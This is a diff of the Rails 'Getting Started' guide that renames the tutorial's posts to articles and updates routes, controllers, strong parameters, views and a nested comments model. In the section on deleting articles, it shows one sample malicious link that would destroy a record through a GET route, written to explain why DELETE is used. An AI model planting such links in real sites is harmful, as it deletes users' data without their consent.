- <% @posts.each do |post| %>
+ <% @articles.each do |article| %>
<tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
+ <td><%= article.title %></td>
+ <td><%= article.text %></td>
</tr>
<% end %>
</table>
```
-Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created.
+Now if you go to <http://localhost:3000/articles> you will see a list of all the
+articles that you have created.
### Adding links
-You can now create, show, and list posts. Now let's add some links to
+You can now create, show, and list articles. Now let's add some links to
navigate through pages.
Open `app/views/welcome/index.html.erb` and modify it as follows:
```html+erb
<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", controller: "posts" %>
+<%= link_to 'My Blog', controller: 'articles' %>
```
The `link_to` method is one of Rails' built-in view helpers. It creates a
hyperlink based on text to display and where to go - in this case, to the path
-for posts.
+for articles.
-Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
+Let's add links to the other views as well, starting with adding this
+"New Article" link to `app/views/articles/index.html.erb`, placing it above the
+`<table>` tag:
```erb
-<%= link_to 'New post', action: :new %>
+<%= link_to 'New article', new_article_path %>
```
-This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template:
+This link will allow you to bring up the form that lets you create a new article.
+
+Now, add another link in `app/views/articles/new.html.erb`, underneath the
+form, to go back to the `index` action:
```erb
-<%= form_for :post do |f| %>
+<%= form_for :article, url: articles_path do |f| %>
...
<% end %>
-<%= link_to 'Back', action: :index %>
+<%= link_to 'Back', articles_path %>
```
-Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
+Finally, add a link to the `app/views/articles/show.html.erb` template to
+go back to the `index` action as well, so that people who are viewing a single
+article can go back and view the whole list again:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
-<%= link_to 'Back', action: :index %>
+<%= link_to 'Back', articles_path %>
```
-TIP: If you want to link to an action in the same controller, you don't
-need to specify the `:controller` option, as Rails will use the current
-controller by default.
+TIP: If you want to link to an action in the same controller, you don't need to
+specify the `:controller` option, as Rails will use the current controller by
+default.
TIP: In development mode (which is what you're working in by default), Rails
reloads your application with every browser request, so there's no need to stop
and restart the web server when a change is made.
-### Allowing the update of fields
+### Adding Some Validation
-The model file, `app/models/post.rb` is about as simple as it can get:
+The model file, `app/models/article.rb` is about as simple as it can get:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
end
```
-There isn't much to this file - but note that the `Post` class inherits from
+There isn't much to this file - but note that the `Article` class inherits from
`ActiveRecord::Base`. Active Record supplies a great deal of functionality to
your Rails models for free, including basic database CRUD (Create, Read, Update,
Destroy) operations, data validation, as well as sophisticated search support
and the ability to relate multiple models to one another.
-### Adding Some Validation
-
Rails includes methods to help you validate the data that you send to models.
-Open the `app/models/post.rb` file and edit it:
+Open the `app/models/article.rb` file and edit it:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
validates :title, presence: true,
length: { minimum: 5 }
end
```
-These changes will ensure that all posts have a title that is at least five characters long.
-Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their
-format, and the existence of associated objects. Validations are covered in detail
-in [Active Record Validations and Callbacks](active_record_validations_callbacks.html#validations-overview)
+These changes will ensure that all articles have a title that is at least five
+characters long. Rails can validate a variety of conditions in a model,
+including the presence or uniqueness of columns, their format, and the
+existence of associated objects. Validations are covered in detail in [Active
+Record Validations](active_record_validations.html).
-With the validation now in place, when you call `@post.save` on an invalid
-post, it will return `false`. If you open `app/controllers/posts_controller.rb`
-again, you'll notice that we don't check the result of calling `@post.save`
-inside the `create` action. If `@post.save` fails in this situation, we need to
-show the form back to the user. To do this, change the `new` and `create`
-actions inside `app/controllers/posts_controller.rb` to these:
+With the validation now in place, when you call `@article.save` on an invalid
+article, it will return `false`. If you open
+`app/controllers/articles_controller.rb` again, you'll notice that we don't
+check the result of calling `@article.save` inside the `create` action.
+If `@article.save` fails in this situation, we need to show the form back to the
+user. To do this, change the `new` and `create` actions inside
+`app/controllers/articles_controller.rb` to these:
```ruby
def new
- @post = Post.new
+ @article = Article.new
end
def create
- @post = Post.new(params[:post])
+ @article = Article.new(article_params)
- if @post.save
- redirect_to action: :show, id: @post.id
+ if @article.save
+ redirect_to @article
else
render 'new'
end
end
+
+private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
```
-The `new` action is now creating a new instance variable called `@post`, and
+The `new` action is now creating a new instance variable called `@article`, and
you'll see why that is in just a few moments.
-Notice that inside the `create` action we use `render` instead of `redirect_to` when `save`
-returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
+Notice that inside the `create` action we use `render` instead of `redirect_to`
+when `save` returns `false`. The `render` method is used so that the `@article`
+object is passed back to the `new` template when it is rendered. This rendering
+is done within the same request as the form submission, whereas the
+`redirect_to` will tell the browser to issue another request.
If you reload
-<http://localhost:3000/posts/new> and
-try to save a post without a title, Rails will send you back to the
+<http://localhost:3000/articles/new> and
+try to save an article without a title, Rails will send you back to the
form, but that's not very useful. You need to tell the user that
something went wrong. To do that, you'll modify
-`app/views/posts/new.html.erb` to check for error messages:
+`app/views/articles/new.html.erb` to check for error messages:
```html+erb
-<%= form_for :post, url: { action: :create } do |f| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
+<%= form_for :article, url: articles_path do |f| %>
+
+ <% if @article.errors.any? %>
+ <div id="error_explanation">
+ <h2>
+ <%= pluralize(@article.errors.count, "error") %> prohibited
+ this article from being saved:
+ </h2>
+ <ul>
+ <% @article.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
<% end %>
+
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -777,71 +1080,85 @@ something went wrong. To do that, you'll modify
<p>
<%= f.submit %>
</p>
+
<% end %>
-<%= link_to 'Back', action: :index %>
+<%= link_to 'Back', articles_path %>
```
A few things are going on. We check if there are any errors with
-`@post.errors.any?`, and in that case we show a list of all
-errors with `@post.errors.full_messages`.
+`@article.errors.any?`, and in that case we show a list of all
+errors with `@article.errors.full_messages`.
`pluralize` is a rails helper that takes a number and a string as its
-arguments. If the number is greater than one, the string will be automatically pluralized.
+arguments. If the number is greater than one, the string will be automatically
+pluralized.
-The reason why we added `@post = Post.new` in `posts_controller` is that
-otherwise `@post` would be `nil` in our view, and calling
-`@post.errors.any?` would throw an error.
+The reason why we added `@article = Article.new` in the `ArticlesController` is
+that otherwise `@article` would be `nil` in our view, and calling
+`@article.errors.any?` would throw an error.
TIP: Rails automatically wraps fields that contain an error with a div
with class `field_with_errors`. You can define a css rule to make them
standout.
-Now you'll get a nice error message when saving a post without title when you
-attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
+Now you'll get a nice error message when saving an article without title when
+you attempt to do just that on the new article form
+<http://localhost:3000/articles/new>:
![Form With Errors](images/getting_started/form_with_errors.png)
-### Updating Posts
-
-We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts.
+### Updating Articles
-The first step we'll take is adding an `edit` action to `posts_controller`.
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating
+articles.
-Start by adding a route to `config/routes.rb`:
+The first step we'll take is adding an `edit` action to the `ArticlesController`,
+generally between the `new` and `create` actions, as shown:
```ruby
-get "posts/:id/edit" => "posts#edit"
-```
-
-And then add the controller action:
+def new
+ @article = Article.new
+end
-```ruby
def edit
- @post = Post.find(params[:id])
+ @article = Article.find(params[:id])
+end
+
+def create
+ @article = Article.new(article_params)
+
+ if @article.save
+ redirect_to @article
+ else
+ render 'new'
+ end
end
```
The view will contain a form similar to the one we used when creating
-new posts. Create a file called `app/views/posts/edit.html.erb` and make
+new articles. Create a file called `app/views/articles/edit.html.erb` and make
it look as follows:
```html+erb
-<h1>Editing post</h1>
-
-<%= form_for :post, url: { action: :update, id: @post.id },
-method: :put do |f| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
+<h1>Editing article</h1>
+
+<%= form_for :article, url: article_path(@article), method: :patch do |f| %>
+
+ <% if @article.errors.any? %>
+ <div id="error_explanation">
+ <h2>
+ <%= pluralize(@article.errors.count, "error") %> prohibited
+ this article from being saved:
+ </h2>
+ <ul>
+ <% @article.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
<% end %>
+
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -855,84 +1172,102 @@ method: :put do |f| %>
<p>
<%= f.submit %>
</p>
+
<% end %>
-<%= link_to 'Back', action: :index %>
+<%= link_to 'Back', articles_path %>
```
This time we point the form to the `update` action, which is not defined yet
but will be very soon.
-The `method: :put` option tells Rails that we want this form to be
-submitted via the `PUT` HTTP method which is the HTTP method you're expected to use to
+The `method: :patch` option tells Rails that we want this form to be submitted
+via the `PATCH` HTTP method which is the HTTP method you're expected to use to
**update** resources according to the REST protocol.
-TIP: By default forms built with the _form_for_ helper are sent via `POST`.
+The first parameter of `form_for` can be an object, say, `@article` which would
+cause the helper to fill in the form with the fields of the object. Passing in a
+symbol (`:article`) with the same name as the instance variable (`@article`)
+also automagically leads to the same behavior. This is what is happening here.
+More details can be found in [form_for documentation]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
-Next, we need to add the `update` action. The file
-`config/routes.rb` will need just one more line:
+Next, we need to create the `update` action in
+`app/controllers/articles_controller.rb`.
+Add it between the `create` action and the `private` method:
```ruby
-put "posts/:id" => "posts#update"
-```
+def create
+ @article = Article.new(article_params)
-And then create the `update` action in `app/controllers/posts_controller.rb`:
+ if @article.save
+ redirect_to @article
+ else
+ render 'new'
+ end
+end
-```ruby
def update
- @post = Post.find(params[:id])
+ @article = Article.find(params[:id])
- if @post.update_attributes(params[:post])
- redirect_to action: :show, id: @post.id
+ if @article.update(article_params)
+ redirect_to @article
else
render 'edit'
end
end
+
+private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
```
-The new method, `update_attributes`, is used when you want to update a record
+The new method, `update`, is used when you want to update a record
that already exists, and it accepts a hash containing the attributes
that you want to update. As before, if there was an error updating the
-post we want to show the form back to the user.
+article we want to show the form back to the user.
-TIP: You don't need to pass all attributes to `update_attributes`. For
-example, if you'd call `@post.update_attributes(title: 'A new title')`
+We reuse the `article_params` method that we defined earlier for the create
+action.
+
+TIP: You don't need to pass all attributes to `update`. For
+example, if you'd call `@article.update(title: 'A new title')`
Rails would only update the `title` attribute, leaving all other
attributes untouched.
Finally, we want to show a link to the `edit` action in the list of all the
-posts, so let's add that now to `app/views/posts/index.html.erb` to make it
-appear next to the "Show" link:
+articles, so let's add that now to `app/views/articles/index.html.erb` to make
+it appear next to the "Show" link:
```html+erb
<table>
<tr>
<th>Title</th>
<th>Text</th>
- <th></th>
- <th></th>
+ <th colspan="2"></th>
</tr>
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
- <td><%= link_to 'Show', action: :show, id: post.id %></td>
- <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
- </tr>
-<% end %>
+ <% @articles.each do |article| %>
+ <tr>
+ <td><%= article.title %></td>
+ <td><%= article.text %></td>
+ <td><%= link_to 'Show', article_path(article) %></td>
+ <td><%= link_to 'Edit', edit_article_path(article) %></td>
+ </tr>
+ <% end %>
</table>
```
-And we'll also add one to the `app/views/posts/show.html.erb` template as well,
-so that there's also an "Edit" link on a post's page. Add this at the bottom of
-the template:
+And we'll also add one to the `app/views/articles/show.html.erb` template as
+well, so that there's also an "Edit" link on an article's page. Add this at the
+bottom of the template:
```html+erb
...
-<%= link_to 'Back', action: :index %>
-| <%= link_to 'Edit', action: :edit, id: @post.id %>
+<%= link_to 'Back', articles_path %> |
+<%= link_to 'Edit', edit_article_path(@article) %>
```
And here's how our app looks so far:
@@ -941,30 +1276,34 @@ And here's how our app looks so far:
### Using partials to clean up duplication in views
-Our `edit` page looks very similar to the `new` page, in fact they
-both share the same code for displaying the form. Let's remove some duplication
-by using a view partial. By convention, partial files are prefixed by an
-underscore.
+Our `edit` page looks very similar to the `new` page; in fact, they
+both share the same code for displaying the form. Let's remove this
+duplication by using a view partial. By convention, partial files are
+prefixed with an underscore.
TIP: You can read more about partials in the
[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
-Create a new file `app/views/posts/_form.html.erb` with the following
+Create a new file `app/views/articles/_form.html.erb` with the following
content:
```html+erb
-<%= form_for @post do |f| %>
- <% if @post.errors.any? %>
- <div id="errorExplanation">
- <h2><%= pluralize(@post.errors.count, "error") %> prohibited
- this post from being saved:</h2>
- <ul>
- <% @post.errors.full_messages.each do |msg| %>
- <li><%= msg %></li>
- <% end %>
- </ul>
- </div>
+<%= form_for @article do |f| %>
+
+ <% if @article.errors.any? %>
+ <div id="error_explanation">
+ <h2>
+ <%= pluralize(@article.errors.count, "error") %> prohibited
+ this article from being saved:
+ </h2>
+ <ul>
+ <% @article.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
<% end %>
+
<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
@@ -978,110 +1317,124 @@ content:
<p>
<%= f.submit %>
</p>
+
<% end %>
```
Everything except for the `form_for` declaration remained the same.
-How `form_for` can figure out the right `action` and `method` attributes
-when building the form will be explained in just a moment. For now, let's update the
-`app/views/posts/new.html.erb` view to use this new partial, rewriting it
-completely:
+The reason we can use this shorter, simpler `form_for` declaration
+to stand in for either of the other forms is that `@article` is a *resource*
+corresponding to a full set of RESTful routes, and Rails is able to infer
+which URI and method to use.
+For more information about this use of `form_for`, see [Resource-oriented style]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+
+Now, let's update the `app/views/articles/new.html.erb` view to use this new
+partial, rewriting it completely:
```html+erb
-<h1>New post</h1>
+<h1>New article</h1>
<%= render 'form' %>
-<%= link_to 'Back', action: :index %>
+<%= link_to 'Back', articles_path %>
```
-Then do the same for the `app/views/posts/edit.html.erb` view:
+Then do the same for the `app/views/articles/edit.html.erb` view:
```html+erb
-<h1>Edit post</h1>
+<h1>Edit article</h1>
<%= render 'form' %>
-<%= link_to 'Back', action: :index %>
+<%= link_to 'Back', articles_path %>
```
-Point your browser to <http://localhost:3000/posts/new> and
-try creating a new post. Everything still works. Now try editing the
-post and you'll receive the following error:
-
-![Undefined method post_path](images/getting_started/undefined_method_post_path.png)
+### Deleting Articles
-To understand this error, you need to understand how `form_for` works.
-When you pass an object to `form_for` and you don't specify a `:url`
-option, Rails will try to guess the `action` and `method` options by
-checking if the passed object is a new record or not. Rails follows the
-REST convention, so to create a new `Post` object it will look for a
-route named `posts_path`, and to update a `Post` object it will look for
-a route named `post_path` and pass the current object. Similarly, rails
-knows that it should create new objects via POST and update them via
-PUT.
+We're now ready to cover the "D" part of CRUD, deleting articles from the
+database. Following the REST convention, the route for
+deleting articles as per output of `rake routes` is:
-If you run `rake routes` from the console you'll see that we already
-have a `posts_path` route, which was created automatically by Rails when we
-defined the route for the index action.
-However, we don't have a `post_path` yet, which is the reason why we
-received an error before. With your server running you can view your routes by visiting [localhost:3000/rails/info/routes](http://localhost:3000/rails/info/routes), or you can generate them from the command line by running `rake routes`:
+```ruby
+DELETE /articles/:id(.:format) articles#destroy
+```
-```bash
-$ rake routes
+The `delete` routing method should be used for routes that destroy
+resources. If this was left as a typical `get` route, it could be possible for
+people to craft malicious URLs like this:
- posts GET /posts(.:format) posts#index
-posts_new GET /posts/new(.:format) posts#new
- POST /posts(.:format) posts#create
- GET /posts/:id(.:format) posts#show
- GET /posts/:id/edit(.:format) posts#edit
- PUT /posts/:id(.:format) posts#update
- root / welcome#index
+```html
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
```
-To fix this, open `config/routes.rb` and modify the `get "posts/:id"`
-line like this:
+We use the `delete` method for destroying resources, and this route is mapped
+to the `destroy` action inside `app/controllers/articles_controller.rb`, which
+doesn't exist yet. The `destroy` method is generally the last CRUD action in
+the controller, and like the other public CRUD actions, it must be placed
+before any `private` or `protected` methods. Let's add it:
```ruby
-get "posts/:id" => "posts#show", as: :post
+def destroy
+ @article = Article.find(params[:id])
+ @article.destroy
+
+ redirect_to articles_path
+end
```
-The `:as` option tells the `get` method that we want to make routing helpers
-called `post_url` and `post_path` available to our application. These are
-precisely the methods that the `form_for` needs when editing a post, and so now
-you'll be able to update posts again.
+The complete `ArticlesController` in the
+`app/controllers/articles_controller.rb` file should now look like this:
-NOTE: The `:as` option is available on the `post`, `put`, `delete` and `match`
-routing methods also.
+```ruby
+class ArticlesController < ApplicationController
+ def index
+ @articles = Article.all
+ end
-### Deleting Posts
+ def show
+ @article = Article.find(params[:id])
+ end
-We're now ready to cover the "D" part of CRUD, deleting posts from the
-database. Following the REST convention, we're going to add a route for
-deleting posts to `config/routes.rb`:
+ def new
+ @article = Article.new
+ end
-```ruby
-delete "posts/:id" => "posts#destroy"
-```
+ def edit
+ @article = Article.find(params[:id])
+ end
-The `delete` routing method should be used for routes that destroy
-resources. If this was left as a typical `get` route, it could be possible for
-people to craft malicious URLs like this:
+ def create
+ @article = Article.new(article_params)
-```html
-<a href='http://example.com/posts/1/destroy'>look at this cat!</a>
-```
+ if @article.save
+ redirect_to @article
+ else
+ render 'new'
+ end
+ end
-We use the `delete` method for destroying resources, and this route is mapped to
-the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is
-provided below:
+ def update
+ @article = Article.find(params[:id])
-```ruby
-def destroy
- @post = Post.find(params[:id])
- @post.destroy
+ if @article.update(article_params)
+ redirect_to @article
+ else
+ render 'edit'
+ end
+ end
+
+ def destroy
+ @article = Article.find(params[:id])
+ @article.destroy
+
+ redirect_to articles_path
+ end
- redirect_to action: :index
+ private
+ def article_params
+ params.require(:article).permit(:title, :text)
+ end
end
```
@@ -1089,124 +1442,72 @@ You can call `destroy` on Active Record objects when you want to delete
them from the database. Note that we don't need to add a view for this
action since we're redirecting to the `index` action.
-Finally, add a 'destroy' link to your `index` action template
-(`app/views/posts/index.html.erb`) to wrap everything
-together.
+Finally, add a 'Destroy' link to your `index` action template
+(`app/views/articles/index.html.erb`) to wrap everything together.
```html+erb
-<h1>Listing Posts</h1>
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
<table>
<tr>
<th>Title</th>
<th>Text</th>
- <th></th>
- <th></th>
- <th></th>
+ <th colspan="3"></th>
</tr>
-<% @posts.each do |post| %>
- <tr>
- <td><%= post.title %></td>
- <td><%= post.text %></td>
- <td><%= link_to 'Show', action: :show, id: post.id %></td>
- <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
- <td><%= link_to 'Destroy', { action: :destroy, id: post.id },
- method: :delete, data: { confirm: 'Are you sure?' } %></td>
- </tr>
-<% end %>
+ <% @articles.each do |article| %>
+ <tr>
+ <td><%= article.title %></td>
+ <td><%= article.text %></td>
+ <td><%= link_to 'Show', article_path(article) %></td>
+ <td><%= link_to 'Edit', edit_article_path(article) %></td>
+ <td><%= link_to 'Destroy', article_path(article),
+ method: :delete,
+ data: { confirm: 'Are you sure?' } %></td>
+ </tr>
+ <% end %>
</table>
```
-Here we're using `link_to` in a different way. We wrap the
-`:action` and `:id` attributes in a hash so that we can pass those two keys in
-first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'`
-options are used as HTML5 attributes so that when the link is clicked,
-Rails will first show a confirm dialog to the user, and then submit the link with method `delete`.
-This is done via the JavaScript file `jquery_ujs` which is automatically included
-into your application's layout (`app/views/layouts/application.html.erb`) when you
-generated the application. Without this file, the confirmation dialog box wouldn't appear.
+Here we're using `link_to` in a different way. We pass the named route as the
+second argument, and then the options as another argument. The `:method` and
+`:'data-confirm'` options are used as HTML5 attributes so that when the link is
+clicked, Rails will first show a confirm dialog to the user, and then submit the
+link with method `delete`. This is done via the JavaScript file `jquery_ujs`
+which is automatically included into your application's layout
+(`app/views/layouts/application.html.erb`) when you generated the application.
+Without this file, the confirmation dialog box wouldn't appear.
![Confirm Dialog](images/getting_started/confirm_dialog.png)
Congratulations, you can now create, show, list, update and destroy
-posts. In the next section will see how Rails can aid us when creating
-REST applications, and how we can refactor our Blog app to take
-advantage of it.
-
-### Going Deeper into REST
-
-We've now covered all the CRUD actions of a REST app. We did so by
-declaring separate routes with the appropriate verbs into
-`config/routes.rb`. Here's how that file looks so far:
+articles.
-```ruby
-get "posts" => "posts#index"
-get "posts/new"
-post "posts" => "posts#create"
-get "posts/:id" => "posts#show", as: :post
-get "posts/:id/edit" => "posts#edit"
-put "posts/:id" => "posts#update"
-delete "posts/:id" => "posts#destroy"
-```
-
-That's a lot to type for covering a single **resource**. Fortunately,
-Rails provides a `resources` method which can be used to declare a
-standard REST resource. Here's how `config/routes.rb` looks after the
-cleanup:
-
-```ruby
-Blog::Application.routes.draw do
-
- resources :posts
-
- root to: "welcome#index"
-end
-```
-
-If you run `rake routes`, you'll see that all the routes that we
-declared before are still available:
-
-```bash
-$ rake routes
- posts GET /posts(.:format) posts#index
- POST /posts(.:format) posts#create
- new_post GET /posts/new(.:format) posts#new
-edit_post GET /posts/:id/edit(.:format) posts#edit
- post GET /posts/:id(.:format) posts#show
- PUT /posts/:id(.:format) posts#update
- DELETE /posts/:id(.:format) posts#destroy
- root / welcome#index
-```
-
-Also, if you go through the motions of creating, updating and deleting
-posts the app still works as before.
-
-TIP: In general, Rails encourages the use of resources objects in place
-of declaring routes manually. It was only done in this guide as a learning
-exercise. For more information about routing, see
+TIP: In general, Rails encourages using resources objects instead of
+declaring routes manually. For more information about routing, see
[Rails Routing from the Outside In](routing.html).
Adding a Second Model
---------------------
-It's time to add a second model to the application. The second model will handle comments on
-posts.
+It's time to add a second model to the application. The second model will handle
+comments on articles.
### Generating a Model
We're going to see the same generator that we used before when creating
-the `Post` model. This time we'll create a `Comment` model to hold
-reference of post comments. Run this command in your terminal:
+the `Article` model. This time we'll create a `Comment` model to hold
+reference of article comments. Run this command in your terminal:
```bash
-$ rails generate model Comment commenter:string body:text post:references
+$ bin/rails generate model Comment commenter:string body:text article:references
```
This command will generate four files:
| File | Purpose |
| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
-| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
| app/models/comment.rb | The Comment model |
| test/models/comment_test.rb | Testing harness for the comments model |
| test/fixtures/comments.yml | Sample comments for use in testing |
@@ -1215,12 +1516,12 @@ First, take a look at `app/models/comment.rb`:
```ruby
class Comment < ActiveRecord::Base
- belongs_to :post
+ belongs_to :article
end
```
-This is very similar to the `post.rb` model that you saw earlier. The difference
-is the line `belongs_to :post`, which sets up an Active Record _association_.
+This is very similar to the `Article` model that you saw earlier. The difference
+is the line `belongs_to :article`, which sets up an Active Record _association_.
You'll learn a little about associations in the next section of this guide.
In addition to the model, Rails has also made a migration to create the
@@ -1232,22 +1533,22 @@ class CreateComments < ActiveRecord::Migration
create_table :comments do |t|
t.string :commenter
t.text :body
- t.references :post
+
+ # this line adds an integer column called `article_id`.
+ t.references :article, index: true
t.timestamps
end
-
- add_index :comments, :post_id
end
end
```
The `t.references` line sets up a foreign key column for the association between
-the two models. And the `add_index` line sets up an index for this association
-column. Go ahead and run the migration:
+the two models. An index for this association is also created on this column.
+Go ahead and run the migration:
```bash
-$ rake db:migrate
+$ bin/rake db:migrate
```
Rails is smart enough to only execute the migrations that have not already been
@@ -1256,66 +1557,66 @@ run against the current database, so in this case you will just see:
```bash
== CreateComments: migrating =================================================
-- create_table(:comments)
- -> 0.0008s
--- add_index(:comments, :post_id)
- -> 0.0003s
-== CreateComments: migrated (0.0012s) ========================================
+ -> 0.0115s
+== CreateComments: migrated (0.0119s) ========================================
```
### Associating Models
Active Record associations let you easily declare the relationship between two
-models. In the case of comments and posts, you could write out the relationships
-this way:
+models. In the case of comments and articles, you could write out the
+relationships this way:
-* Each comment belongs to one post.
-* One post can have many comments.
+* Each comment belongs to one article.
+* One article can have many comments.
In fact, this is very close to the syntax that Rails uses to declare this
-association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that
-makes each comment belong to a Post:
+association. You've already seen the line of code inside the `Comment` model
+(app/models/comment.rb) that makes each comment belong to an Article:
```ruby
class Comment < ActiveRecord::Base
- belongs_to :post
+ belongs_to :article
end
```
-You'll need to edit `app/models/post.rb` to add the other side of the association:
+You'll need to edit `app/models/article.rb` to add the other side of the
+association:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
has_many :comments
validates :title, presence: true,
length: { minimum: 5 }
- [...]
end
```
These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable `@post` containing a post, you can retrieve all
-the comments belonging to that post as an array using `@post.comments`.
+you have an instance variable `@article` containing an article, you can retrieve
+all the comments belonging to that article as an array using
+`@article.comments`.
TIP: For more information on Active Record associations, see the [Active Record
Associations](association_basics.html) guide.
### Adding a Route for Comments
-As with the `welcome` controller, we will need to add a route so that Rails knows
-where we would like to navigate to see `comments`. Open up the
+As with the `welcome` controller, we will need to add a route so that Rails
+knows where we would like to navigate to see `comments`. Open up the
`config/routes.rb` file again, and edit it as follows:
```ruby
-resources :posts do
+resources :articles do
resources :comments
end
```
-This creates `comments` as a _nested resource_ within `posts`. This is another
-part of capturing the hierarchical relationship that exists between posts and
-comments.
+This creates `comments` as a _nested resource_ within `articles`. This is
+another part of capturing the hierarchical relationship that exists between
+articles and comments.
-TIP: For more information on routing, see the [Rails Routing](routing.html) guide.
+TIP: For more information on routing, see the [Rails Routing](routing.html)
+guide.
### Generating a Controller
@@ -1323,10 +1624,10 @@ With the model in hand, you can turn your attention to creating a matching
controller. Again, we'll use the same generator we used before:
```bash
-$ rails generate controller Comments
+$ bin/rails generate controller Comments
```
-This creates six files and one empty directory:
+This creates five files and one empty directory:
| File/Directory | Purpose |
| -------------------------------------------- | ---------------------------------------- |
@@ -1334,38 +1635,37 @@ This creates six files and one empty directory:
| app/views/comments/ | Views of the controller are stored here |
| test/controllers/comments_controller_test.rb | The test for the controller |
| app/helpers/comments_helper.rb | A view helper file |
-| test/helpers/comments_helper_test.rb | The test for the helper |
| app/assets/javascripts/comment.js.coffee | CoffeeScript for the controller |
| app/assets/stylesheets/comment.css.scss | Cascading style sheet for the controller |
Like with any blog, our readers will create their comments directly after
-reading the post, and once they have added their comment, will be sent back to
-the post show page to see their comment now listed. Due to this, our
+reading the article, and once they have added their comment, will be sent back
+to the article show page to see their comment now listed. Due to this, our
`CommentsController` is there to provide a method to create comments and delete
spam comments when they arrive.
-So first, we'll wire up the Post show template
-(`app/views/posts/show.html.erb`) to let us make a new comment:
+So first, we'll wire up the Article show template
+(`app/views/articles/show.html.erb`) to let us make a new comment:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1373,55 +1673,61 @@ So first, we'll wire up the Post show template
</p>
<% end %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Back', articles_path %> |
+<%= link_to 'Edit', edit_article_path(@article) %>
```
-This adds a form on the `Post` show page that creates a new comment by
+This adds a form on the `Article` show page that creates a new comment by
calling the `CommentsController` `create` action. The `form_for` call here uses
-an array, which will build a nested route, such as `/posts/1/comments`.
+an array, which will build a nested route, such as `/articles/1/comments`.
Let's wire up the `create` in `app/controllers/comments_controller.rb`:
```ruby
class CommentsController < ApplicationController
def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.create(comment_params)
+ redirect_to article_path(@article)
end
+
+ private
+ def comment_params
+ params.require(:comment).permit(:commenter, :body)
+ end
end
```
-You'll see a bit more complexity here than you did in the controller for posts.
-That's a side-effect of the nesting that you've set up. Each request for a
-comment has to keep track of the post to which the comment is attached, thus the
-initial call to the `find` method of the `Post` model to get the post in question.
+You'll see a bit more complexity here than you did in the controller for
+articles. That's a side-effect of the nesting that you've set up. Each request
+for a comment has to keep track of the article to which the comment is attached,
+thus the initial call to the `find` method of the `Article` model to get the
+article in question.
In addition, the code takes advantage of some of the methods available for an
-association. We use the `create` method on `@post.comments` to create and save
-the comment. This will automatically link the comment so that it belongs to that
-particular post.
+association. We use the `create` method on `@article.comments` to create and
+save the comment. This will automatically link the comment so that it belongs to
+that particular article.
